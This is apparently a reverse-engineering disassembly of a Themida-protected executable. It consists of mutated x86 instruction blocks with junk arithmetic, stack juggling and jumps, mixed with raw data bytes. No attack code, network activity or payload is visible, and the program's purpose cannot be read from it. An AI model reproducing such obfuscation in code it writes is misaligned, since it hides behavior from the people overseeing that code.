		xor	ebx, 74D92E6Ah
		shr	ebx, 6
		and	ebx, 643525A8h
		sub	ebx, 0E8AA8A28h
		jmp	loc_583BF8
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 50000000h,	4B8h, 58C32900h, 2474FF53h, 48F5B04h
		dd 4895C24h, 0E9E08924h, 129Ch,	0E924048Bh, 0FFFFCDA1h
		dd 0FF8954E9h, 4B8FFh, 0C3010000h, 3A8FE958h, 6ABF0000h
		dd 811B540Fh, 0BC5CFACFh, 77CF8114h, 0D10C0757h, 27C781E7h
		dd 9F78599h, 0A788E9FAh, 0E95CFFFFh, 0FFFFA3BDh, 28976855h
		dd 24890000h, 3BC8E924h, 0C4810000h, 4,	4C481h,	0E95A0000h
		dd 0FFFFF516h, 4399E958h, 0DE890000h, 5EF1295Bh, 62E9E929h
		dd 8FFFFF92h, 0F3E92404h, 54000017h, 4C3815Bh, 57000000h
		dd 0B71B5CBFh, 79C78123h, 5619396Eh, 0FA57EFBEh, 0E9F70965h
		dd 0FFFFF403h, 5C243C87h, 0CE3080B6h, 81240C8Bh, 4C4h
		dd 0E70400h, 8BE72CF0h,	0C4812414h, 4, 44E95152h, 81000014h
		dd 4C3h, 4B95100h, 0E9000000h, 0FFFFB8F1h, 66BD5550h, 5141FC35h
		dd 0D229AAB9h, 4ACB685Dh, 14890000h, 62FABA24h,	0E2813B20h
		dd 27691D00h, 11D9F281h, 98E953F4h, 5F00002Dh, 0EA81F201h
		dd 3AD90F4Eh, 0FFA8D3E9h, 0C7835DFFh, 243C8704h, 0FFD29AE9h
		dd 89595DFFh, 34FF205Fh, 0B757E924h, 0E958FFFFh, 0FFFFDB22h
		dd 77A8EA81h, 0B4E900C6h, 55FFFFCAh, 1F69E9h
		db 0
; ---------------------------------------------------------------------------


loc_5890A5:				; CODE XREF: Themida_:00589B40j
		mov	[esp], ebp
		mov	ebp, 303C56FDh
		add	[esp+0Ch], ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], eax
		sub	dword ptr [esp+4], 0DED4D47h
		pop	eax
		jmp	loc_58A3E6
; ---------------------------------------------------------------------------
		db 0E9h, 0F7h, 87h
		dd 0E381FFFFh, 3A2D1A6Ch, 1A5CEB81h, 0DE011808h, 2434875Bh
		dd 17E6E9h, 81E78900h, 4C7h, 4EC8300h, 0BA241489h, 4ACE6AB3h
		dd 0E43EE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589102:				; CODE XREF: Themida_:0058B0CEj
		mov	esi, 0CC113624h
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589A3B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AB682404h, 89000012h, 0E0892404h, 8904EC83h, 35E9240Ch
		dd 59FFFFF0h, 815A5452h, 4C2h, 4C28100h, 87000000h, 248B2414h
		dd 0E9008F24h, 0FFFF8779h, 5224248Bh, 4EC81h, 24890000h
		dd 24048324h, 0E4D9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589166:				; CODE XREF: Themida_:00584C1Ej
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58CFF2
; ---------------------------------------------------------------------------


loc_589171:				; CODE XREF: Themida_:00586B5Cj
		mov	esi, 40092011h
		add	ebx, esi
		jmp	loc_58B78C
; ---------------------------------------------------------------------------


loc_58917D:				; CODE XREF: Themida_:005845D6j
		sub	ch, al
		jmp	loc_58BAC8
; ---------------------------------------------------------------------------
		dd 24148B66h, 2C483h, 32ECE9F0h, 0A7BA0000h, 295A2634h
		dd 24148BD3h, 0FFDEEDE9h, 5F801FFh, 2C5D4903h, 5F2434FFh
		dd 81E38953h, 4C3h, 4C38300h, 8B241C87h, 18682424h, 89000075h
		dd 0BF572414h, 2B623BDEh, 242C8157h, 74C638Ah, 8AC2815Ah
		dd 0FF074C63h, 52E92434h, 100002Bh, 5A042454h, 4C3815Bh
		dd 83000000h, 2C8904ECh, 277BD24h, 75E947ABh, 8100001Fh
		dd 1539F9EDh, 8BE80192h, 0CC68242Ch, 8900003Dh,	0E789243Ch
		dd 4C781h, 0EE90000h, 55FFFFDFh, 0D50AEABDh, 0E6ED8159h
		dd 8159D50Ah, 636A1DEEh, 41B2E97Ch, 66590000h, 356D6850h
		dd 14890000h, 0AE10E924h, 0BD55FFFFh, 40B9286Ch, 62C1ED81h
		dd 0ED812DB0h, 7B635888h, 31E9h, 40500h, 0C0830000h, 4EC8102h
		dd 89000000h, 74FF2404h, 8F580424h, 665C2404h, 661DD868h
		dd 51241489h, 2F5CE9h, 31CA3100h, 7C0E9D1h, 0CD810000h
		dd 0AA46AC1h, 652AF581h, 0F5813D7Bh, 606481A8h,	895DE831h
		dd 24048BC3h, 8104C483h, 0B4291C2h, 0D866E97Ah,	0ED80FFFFh
		dd 59E8004Fh, 3EF3E9h, 4BB00h, 0DE010000h, 8B2434FFh, 0C483241Ch
		dd 4C48304h, 8704C683h,	248B2434h, 0AE8C124h, 8391C831h
		dd 0C8904ECh, 243C8724h, 0FF57D7F7h, 8B042474h,	0C483243Ch
		dd 24048F04h, 81240C8Bh, 4C4h, 0AD685000h, 0E900003Bh
		dd 2919h, 0F643B753h, 2EEF80DFh, 5BFD28h, 0B60F59EBh, 0B86866C0h
		dd 17FAE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58932A:				; CODE XREF: Themida_:005830A8j
		sub	eax, 0BD26722h
		jmp	loc_588A52
; ---------------------------------------------------------------------------
		dd 158C629h, 24348BF0h,	8704C483h, 248B2404h, 48B6624h
		dd 7C8A6824h, 0CEE90000h, 55FFFF94h, 242C8B54h,	1033E9h
		dd 8BC80100h, 3AE9240Ch, 52000023h, 75F78CBAh, 0E9D629DEh
		dd 2BC3h, 81242C8Bh, 4C4h, 243C8700h, 0F949E95Ch, 3489FFFFh
		dd 47EABE24h, 0ED814399h, 6AC826A6h, 4687ED81h,	0F5294184h
		dd 7CCBB850h, 922572C9h, 0C1595B7Fh, 0E94802E8h, 0FFFFCC57h
; ---------------------------------------------------------------------------


loc_5893B0:				; CODE XREF: Themida_:00583C48j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58508B
; ---------------------------------------------------------------------------
		dd 5159CF01h, 0BA98E957h, 34FFFFFFh, 2434FF24h,	8EE95558h
		dd 0F7FFFFABh, 0E99C241Ch, 0FFFFC222h, 0BCF68h,	243C8900h
		dd 0FFF635E9h, 0B151ACFFh, 0FFC1804Ch, 3B1BE9h,	4EC8300h
		dd 0BE243489h, 2DAB1B79h, 4247401h, 0FFC9B7E9h,	55E289FFh
		dd 2BE95653h, 81FFFF9Bh, 0F77F34C2h, 14875B01h,	4CE95C24h
		dd 1FFFFB0h, 3EBB53F0h,	2D6CB87Ch, 11576F49h, 2E9D829h
		dd 88FFFFA1h, 58C588F0h, 0FF8B5BE9h, 0D90158FFh, 4511E981h
		dd 4EE926C9h, 81FFFFC1h, 4EEh, 0DC4EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58946E:				; CODE XREF: Themida_:00582323j
		add	ebp, edx
		pop	edx
		push	41A4h
		mov	[esp], edx
		mov	edx, 27242AD2h
		jmp	loc_581E12
; ---------------------------------------------------------------------------
		db 87h
		dd 665C2414h, 9C240409h, 0FF8438E9h, 0C8B66FFh,	4EC8124h
		dd 89000000h, 8368243Ch, 5400001Bh, 8124048Fh, 42404h
		dd 565F0000h, 4BA52h, 0D6890000h, 11C7815Ah, 116093Bh
		dd 0C4CAE9F7h, 0FF66FFFFh, 83FBE932h, 0FF57FFFFh, 5F042474h
		dd 8B24048Fh, 8B662424h, 4BE92404h, 0E9FFFFD1h,	0FFFF83E1h
; ---------------------------------------------------------------------------


loc_5894E8:				; CODE XREF: Themida_:0058A0E9j
		add	ebp, 4
		jmp	loc_587E93
; ---------------------------------------------------------------------------
		dd 6602EC83h, 66240489h, 83BD6655h, 0E8896645h,	81665D66h
		dd 665BF6EBh, 8166C329h, 665BF6C3h, 0E924048Bh,	0FFFFABFBh
		dd 8145FD87h, 0C2DF29F5h, 5DEA318Ch, 0FFA854E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589529:				; CODE XREF: Themida_:00585E99j
		xor	ebp, [esp]
		jmp	loc_58B069
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 57h
		dd 1284940h, 9077E9EBh,	0EE81FFFFh, 22E06188h, 0EBE9D601h
		dd 0ADFFFFCFh, 0FFC54DE9h, 1E7468FFh, 0F75E2893h, 0FFEE83DEh
		dd 0FF84F3E9h, 0E9DAF7FFh, 0FFFFF9A8h
; ---------------------------------------------------------------------------


loc_589568:				; CODE XREF: Themida_:0058A8F6j
		pop	esp
		not	edx
		shl	edx, 3
		jmp	loc_58822F
; ---------------------------------------------------------------------------
		db 1
		dd 0C68159CEh, 2, 5C243487h, 9C2404D3h,	0FFFB44E9h, 2E0C0FFh
		dd 0B353D0F6h, 5BD82801h, 0FF9579E9h, 0E95CFFh,	0FFFFFE8h
		dd 6E9C0B6h, 5A000025h,	65DABE56h, 0EA812815h, 50385E85h
		dd 0FFE614E9h, 0E95B66FFh, 0FFFFC00Ch, 0E1C0E9D0h, 0F6C9FE02h
		dd 0E9E186D9h, 3D06h, 80FECE80h, 0B6E901C6h, 5FFFFFF8h
		dd 0A958E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5895E2:				; CODE XREF: Themida_:0058A853j
		add	esp, 4
		jmp	loc_581C2A
; ---------------------------------------------------------------------------
		dw 0DF31h
		dd 2EFC15Bh, 0DFF7E7D1h, 8106EFC1h, 0E59EC4EFh,	5FFA31A1h
		dd 148BD031h, 4F685024h, 89000075h, 4832424h, 5580424h
		dd 4, 8D3AE953h, 433FFFFh, 0E8C15C24h, 50C83118h, 33240431h
		dd 62E92404h, 8BFFFFE2h, 0C481240Ch, 4,	584F581h, 0EF317748h
		dd 0FFEF815Dh, 81FFFFFFh, 6A7BE3EFh, 1F9E9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589656:				; CODE XREF: Themida_:00583DCBj
		pop	eax
		add	esp, 4
		add	ebp, 2ED57AECh
		add	ebp, esi
		push	ebx
		mov	ebx, 2ED57AECh
		sub	ebp, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58225A
; ---------------------------------------------------------------------------
		dd 2864E980h, 0EB8059CBh, 0C0B60F8Ah, 5287048Dh, 4EC81h
		dd 8F540000h, 0DEE92404h, 81FFFFC0h, 0A184DEBh,	4EC8342h
		dd 68243C89h, 3F77h, 8B240489h,	70E9243Ch, 0B5FFFF9Ch
		dd 59E88840h, 0E98AEB80h, 40D5h
; ---------------------------------------------------------------------------


loc_5896E0:				; CODE XREF: Themida_:0058393Ej
		xchg	eax, [esp]
		jmp	loc_588AEF
; ---------------------------------------------------------------------------
		dd 0E95BD801h, 0FFFFEAD1h, 482BE995h, 48F0000h,	89E95C24h
		dd 87000014h, 0F9E92404h, 81FFFFCDh, 4C4h, 4C18100h, 56000000h
		dd 3F25DBBEh, 0C41E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58971E:				; CODE XREF: Themida_:0058D3E3j
		mov	[esp], ecx
		mov	ecx, 70573630h
		add	ebx, 338909E3h
		add	ebx, ecx
		sub	ebx, 338909E3h
		jmp	loc_586CEF
; ---------------------------------------------------------------------------


loc_589739:				; CODE XREF: Themida_:00585589j
		sub	eax, 4
		jmp	loc_58C659
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 1000000h, 24148BD0h, 4C481h, 0BB530000h, 4
		dd 3251C2Dh, 5D80177h, 7703251Ch, 5B2434FFh, 4C481h, 4870000h
		dd 24248B24h, 3B68E9F7h, 8900000Ch, 0EC83242Ch,	48F5404h
		dd 0A258E924h, 74FFFFFFh, 8F5F0424h, 665C2404h,	5024048Bh
		dd 0FFEF58E9h, 3EC981FFh, 0F7730503h, 0E9E1D1D1h, 0FFFFD267h
; ---------------------------------------------------------------------------


loc_5897B0:				; CODE XREF: Themida_:00585BDBj
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_587FF3
		push	4921h
		mov	[esp], ebx
		mov	ebx, 1
		mov	edx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	17E6h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_58AECE
; ---------------------------------------------------------------------------
		dd 0CFFECFFEh, 28DBEF80h, 0F4805BFCh, 58E3009Ch, 8456E95Ah
		dd 0C281FFFFh, 5B5E172Fh, 8103EAC1h, 48F577EAh,	5AD629D2h
		dd 8105E6C1h, 0B53B92EEh, 0E9EE3192h, 24F6h, 4EC81h, 34890000h
		dd 72906824h, 8F540000h, 9CE92404h, 8100001Bh, 0C9B0FCC3h
		dd 0E9DE89F7h, 1788h, 3BE9FE01h, 1FFFFB6h, 0C2815FFAh
		dd 4, 5C241487h, 68C8B70Fh, 5E6Eh, 0E9240C89h, 0FFFF805Dh
		dd 8B243487h, 34FF2424h, 36685A24h, 89000074h, 0E789243Ch
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC83241Ch
		dd 243C8904h, 468h, 27A9E900h, 22BE0000h, 0C16EA378h, 814E03EEh
		dd 0D46F02F6h, 5EF2290Dh, 8108E2C1h, 735A2BCAh,	0BCC2810Dh
		dd 29C24D24h, 402D5AD0h, 81552106h, 4ECh, 243C8900h, 0F83CD1BFh
		dd 17C78150h, 830FF6BFh, 348904ECh, 4903BE24h, 0BE562C5Dh
		dd 745366D5h, 295EF001h, 66D52DF0h, 0E95E7453h,	0FFFFF89Dh
		dd 32E9E689h, 5DFFFF8Ch, 42Dh, 24048700h, 2404895Ch, 4B8h
		dd 5CC68100h, 12B1912h,	5CEE81C6h, 8B2B1912h, 0C4812404h
		dd 4, 2BF57h, 0FE010000h, 2434335Fh, 33243431h,	248B2434h
		dd 48B6624h, 8B545724h,	0C483243Ch, 4EC8104h, 89000000h
		dd 85E92434h, 8BFFFFC3h, 0FA682404h, 0E9000013h, 1523h
		dd 6F6FB951h, 0C181619Dh, 57BB4918h, 0D1F7D1F7h, 0FF98D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589985:				; CODE XREF: Themida_:0058DB9Bj
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ebp
		push	ecx
		mov	ecx, 7FDB015Ch
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 3AA2514Ch
		shl	ebp, 5
		push	edx
		mov	edx, 0AF2A0204h
		xor	ebp, edx
		pop	edx
		jmp	loc_585BD8
; ---------------------------------------------------------------------------
		dd offset dword_455248+1A120h
		align 4
		dd 0E9240C89h, 355Eh, 8B2434FFh, 89522404h, 4C281E2h, 0E9000000h
		dd 0FFFF8EB5h, 8158C629h, 91ECA0EEh, 5EF30176h,	0DF77D705h
		dd 0F8B95125h, 2906717Fh, 0D80159C8h, 717FF805h, 0D412E906h
		dd 4242FFFFh, 140CEA81h, 0D389E5C2h, 3EBC15Ah, 7807C381h
		dd 8AE92931h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589A0F:				; CODE XREF: Themida_:0058C328j
		mov	[esp], ebx
		pop	ebp
		jmp	loc_58B3E2
; ---------------------------------------------------------------------------
aLSj		db '‹$$Ó$$é¦>',0
		dw 0FF00h
		dd 0E9042474h, 0FFFF94A5h, 8702C083h, 845C2404h, 8EE99CC8h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589A3B:				; CODE XREF: Themida_:00589115j
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_587A85
; ---------------------------------------------------------------------------
		dw 9392h
		dd 9293D3F7h, 8B595251h, 0C4832414h, 41F18104h,	81C7C5EBh
		dd 5A4D46EFh, 81CF2923h, 5A4D46C7h, 240C8B23h, 4C481h
		dd 0E9C30000h, 0FFFF7E49h, 4BF57h, 0F9010000h, 4C1835Fh
		dd 0E9240C33h, 0FFFF85F0h, 8904EC83h, 0DAB9240Ch, 0E9088C39h
		dd 0FFFFE6B5h, 5C241487h, 243CD366h, 7E17E99Ch,	0FB29FFFFh
		dd 0FFFB22E9h, 242C8BFFh, 0E904C483h, 0FFFFC929h, 0B15166B6h
		dd 285FE9ADh, 74FF0000h, 348B0424h, 4C48324h, 5C24048Fh
		dd 0F16EE957h, 355EFFFFh, 5E761A39h, 351D6A0Dh,	1F7A2D20h
		dd 0C1813177h, 5659670Dh, 0E981C101h, 5659670Dh, 4BE5658h
		dd 83000000h, 348904ECh, 2CE5BE24h, 0E681473Eh,	426167EFh
		dd 7BDF681h, 0F6814EC8h, 3A1D79FBh, 0A1E9F129h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589B2B:				; CODE XREF: Themida_:00589DE1j
		push	esi
		mov	esi, 0DED4D47h
		sub	dword ptr [esp+8], 303C56FDh
		add	[esp+8], esi
		sub	esp, 4
		jmp	loc_5890A5
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 50h
		dd 5D738A7Bh, 5C240C87h, 52B95157h, 816CCE65h, 0CE6556F1h
		dd 0E9CF896Ch, 0FFFF8606h
; ---------------------------------------------------------------------------


loc_589B64:				; CODE XREF: Themida_:00581F76j
		add	esp, 4
		jmp	loc_585C39
; ---------------------------------------------------------------------------
		db 1
		dd 34875AD6h, 0F1E95C24h, 0B2FFFF7Fh, 0B5C28095h, 0B551EA28h
		dd 0FEDDF637h, 0A0EAE9CDh, 34FFFFFFh, 54575824h, 113AE95Fh
		dd 248B0000h, 243C8924h, 0B82DE954h, 51ADFFFFh,	0FFE762E9h
		dd 0E9D701FFh, 0FFFFDACFh, 0E90EC581h, 0ED811F7Eh, 12F1715Eh
		dd 4548F581h, 0C58143B5h, 2C5672C7h, 0EF0E945h,	0BD550000h
		dd 7FE1321Ch, 59C7F581h, 0C5813045h, 0D2BCFD99h, 23E9E831h
		dd 66FFFF9Bh, 6824048Bh, 4C8Bh,	54240C89h, 0E92434FFh
		dd 0FFFFD3C6h, 5358C609h, 7A103ABBh, 0AFEE81A4h, 297A4E7Eh
		dd 864EE9DEh, 0B951FFFFh, 595E45E1h, 4244C31h, 81240C8Bh
		dd 4C4h, 243C8B00h, 0FFA352E9h,	216858FFh, 8900000Ch, 0A1BB241Ch
		dd 0E97F8B73h, 0FFFFC593h
; ---------------------------------------------------------------------------


loc_589C44:				; CODE XREF: Themida_:005855ACj
		mov	esi, esp
		add	esi, 4
		jmp	loc_584658
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 1A8CE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589C5A:				; CODE XREF: Themida_:00586E56j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58731F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		align 10h
		dd 0E95150C3h, 0FFFF90F0h, 0F7243489h, 16E92414h, 66000036h
		dd 0DC25E95Bh, 0C87FFFFh, 89535C24h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 381F685Ch, 1C890000h, 4BBDBB24h, 514B104Eh
		dd 10B17B9h, 0CEEB8130h, 290F7621h, 0CEC381CBh,	590F7621h
		dd 0FF7E76E9h, 0C8B66FFh, 0C4D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589CD2:				; CODE XREF: Themida_:0058CEADj
		push	edi
		mov	edi, 1CCE0E45h
		dec	edi
		jmp	loc_585E12
; ---------------------------------------------------------------------------
		dw 862Dh
		dd 0E922D906h, 0FFFFDD50h, 2434FF5Ch, 0E2895258h, 4498B951h
		dd 0E9561836h, 0FFFFC2D5h, 4C481h, 0C6810000h, 4, 8904EC83h
		dd 5EE9242Ch, 8BFFFFA8h, 8E9241Ch, 0B9FFFFCCh, 257D390Fh
		dd 0FFAEC7E9h, 7B9FE9FFh, 8B66FFFFh, 5451240Ch,	81240C8Bh
		dd 4C4h, 4C18100h, 0E9000000h, 0FFFFAE87h
; ---------------------------------------------------------------------------


loc_589D44:				; CODE XREF: Themida_:00581FABj
		mov	edi, [esp]
		push	4783h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58C8F7
; ---------------------------------------------------------------------------
		db 21h
		dd 151E9E8h, 52E90000h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589D77:				; CODE XREF: Themida_:0058D7CBj
		mov	[esp], ebx
		mov	ebx, 4DF55D54h
		add	ebp, 55F44A50h
		sub	ebp, ebx
		jmp	loc_58AA52
; ---------------------------------------------------------------------------
		dd 3304C483h, 14312414h, 24143324h, 8924248Bh, 478F2404h
		dd 2434FF40h, 5724048Bh, 0EC83E789h, 242C8904h,	39A3BE56h
		dd 2ABD463Bh, 0E95FD68Ch, 0FFFF9AAFh, 4C6815Eh,	83000000h
		dd 0E95604EEh, 0FFFFFC53h
; ---------------------------------------------------------------------------


loc_589DD0:				; CODE XREF: Themida_:00586582j
		pop	ecx
		add	edx, 1
		push	edi
		push	ebx
		jmp	loc_58D4B6
; ---------------------------------------------------------------------------


loc_589DDB:				; CODE XREF: Themida_:0058D8C4j
		xor	eax, 0EB02A87h
		pop	ecx
		jmp	loc_589B2B
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 1F0272A2h, 4087EF81h, 0E781481Bh, 34FB2285h,	2281B850h
		dd 0C7290480h, 0CAB1E958h, 4941FFFFh, 0C932E957h, 8950FFFFh
		dd 0E50EE9E0h, 8B66FFFFh, 54532404h, 4C3815Bh, 81000000h
		dd 4EBh, 241C3300h, 33241C31h, 895C241Ch, 0E9542404h, 0B69h
		dd 83242489h, 8B042404h, 0C4832434h, 4C68104h, 0E9000000h
		dd 0FFFFB93Bh
; ---------------------------------------------------------------------------


loc_589E54:				; CODE XREF: Themida_:0058D810j
		push	edi
		mov	edi, 75BC3874h
		and	edi, 36805548h
		xor	edi, 0ADC6DC5h
		not	edi
		jmp	loc_58CBAC
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 7A4FE930h, 2489FFFFh, 24048124h,	4, 582434FFh
		dd 8A68E953h, 0F781FFFFh, 0EC348546h, 3C8BF829h, 0D8E95224h
		dd 2CFFFFA7h, 0E9D00072h, 0FFFF855Eh, 2816C780h, 16EF80F7h
		dd 12AFE9h, 6800h, 0C290000h, 2BE95924h, 8BFFFFEDh, 0FB68242Ch
		dd 8900003Ah, 0FF54240Ch, 81592434h, 4C4h, 2B50E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589EDE:				; CODE XREF: Themida_:0058356Aj
		neg	edx
		add	edx, 35D3C63h
		jmp	loc_584BAB
; ---------------------------------------------------------------------------
		db 68h
		dd 0DE0h, 89240C89h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h
		dd 5C240C33h, 81E18951h, 4C1h, 9851E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589F16:				; CODE XREF: Themida_:0058B1B7j
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	dl, bh
		push	ecx
		push	78Bh
		mov	[esp], eax
		mov	ah, dl
		jmp	loc_58B954
; ---------------------------------------------------------------------------


loc_589F30:				; CODE XREF: Themida_:00588007j
		push	4D10h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		mov	esi, 46126764h
		add	esi, 0B9ED98A0h
		jmp	loc_584910
; ---------------------------------------------------------------------------
		dw 685Ch
		dd 1ADCh, 89240C89h, 748868E1h,	4890000h, 0AF66E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589F66:				; CODE XREF: Themida_:00587119j
		add	edi, 2F16FF2h
		xor	edi, 5BFAC65Fh
		jmp	loc_5836D3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 30E92424h, 81FFFFFAh, 4C4h, 4C48100h, 52000000h, 0FFC4A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_589F91:				; CODE XREF: Themida_:005846F8j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58617D
; ---------------------------------------------------------------------------
		db 56h
		dd 0C215ADBEh, 8DD5E911h, 8DB3FFFFh, 0FFD530E9h, 4C483FFh
		dd 34FFC831h, 89535924h, 4C381E3h, 83000000h, 0EEE904C3h
		dd 5500002Fh, 1E6EE9h, 27D4B900h, 814148CAh, 0D02C5FE1h
		dd 880CE939h, 0C329FFFFh, 8904EC83h, 2CE9240Ch,	88FFFFFDh
		dd 0AB2FE9D1h, 74FFFFFFh, 34FF0424h, 89515824h,	4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 0FF9C38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A015:				; CODE XREF: Themida_:00588BE9j
		mov	[esp], eax
		mov	eax, 4
		mov	esi, eax
		pop	eax
		add	ebp, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58BED0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5E545600h, 4C681h, 0BF570000h,	4, 0E95FFE01h
		dd 155Dh, 492C180h, 28482C23h, 0E94804C8h, 0FFFFCB7Bh
		dd 714625BEh, 24740149h, 0B29AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A06E:				; CODE XREF: Themida_:0058AE3Cj
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_586E4C
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0FFh
		dd 815B2434h, 4C4h, 24048700h, 6624248Bh, 9C240CD3h, 0FF7834E9h
		dd 2474FFFFh, 240C8B04h, 8F04C483h, 5AE92404h, 31FFFF89h
		dd 2434FFD0h, 0FFB9D3E9h, 4B9FFh, 0C2810000h, 667725F2h
		dd 0D4DC281h, 45E94A3Ah, 0B9FFFFD3h, 40E9562Bh,	0DD11C181h
		dd 0CB292330h, 81EB0159h, 1A333CC3h, 242C8B64h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5894E8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 0FFCC2FE9h, 57E981FFh,	8936F18Fh, 6F0559C8h
		dd 1A91E9Fh, 24048BC3h,	4C481h,	0BD550000h, 70EF4B92h
		dd 3940ED81h, 0F5817BC6h, 0F5291250h, 335DEB01h, 1C31241Ch
		dd 241C3324h, 243CD25Ch, 778BE99Ch, 48BFFFFh, 0B82BE924h
		dd 0B951FFFFh, 3A19287Ch, 0E959CB29h, 2F90h
; ---------------------------------------------------------------------------


loc_58A154:				; CODE XREF: Themida_:00582DD8j
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_586E25
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0B4h
		dd 0E94C5A1Bh, 0FFFFEC1Fh, 8124348Bh, 4C4h, 4C48300h, 0FF8B57E9h
		dd 0FC00BFFh, 0FFA6D984h, 1C77FFFFh, 1D8FE9h, 4EC8300h
		dd 68241489h, 7D06703Eh, 5A2434FFh, 5704C483h, 0FF7F4BE9h
		dd 2FE953FFh, 8700003Ah, 0EA314DEAh, 3D80E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A1B5:				; CODE XREF: Themida_:00588AF0j
		or	eax, eax
		jz	loc_58DC7D
		push	1AA6h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FEh
		push	edi
		jmp	loc_58A92F
; ---------------------------------------------------------------------------
		dw 0B868h
		dd 89000064h, 1ABE2434h, 81962DA3h, 71F0BEAh, 81F22971h
		dd 71F0BC2h, 24348B71h,	4C481h,	0D3010000h, 0E92434FFh
		dd 3746h, 7B1668h, 243C8900h, 4BFh, 0A2BF5700h,	4F352F7Dh
		dd 0FF8825E9h, 73685FFFh, 8900001Ah, 0A7B9240Ch, 81017C10h
		dd 83EF5BC1h, 1EA068FEh, 34890000h, 257CBE24h, 0F5295268h
		dd 81CD015Eh, 68257CC5h, 2C335952h, 98F1E924h, 0E954FFFFh
		dd 395Ch, 6858C101h, 81Eh, 0BA241489h, 4, 148BD129h, 8B545324h
		dd 0C483241Ch, 4C38104h, 0E9000000h, 0FFFFACC3h, 0FF2434FFh
		dd 0E9592434h, 35E7h, 89241489h, 4C281E2h, 57000000h, 0C781E789h
		dd 4, 0FFC9BEE9h, 4C483FFh, 0E95DE821h,	27D1h
; ---------------------------------------------------------------------------


loc_58A2B0:				; CODE XREF: Themida_:005859CCj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	29643FB9h
		mov	ebx, [esp]
		add	esp, 4
		push	464Dh
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5833C3
; ---------------------------------------------------------------------------
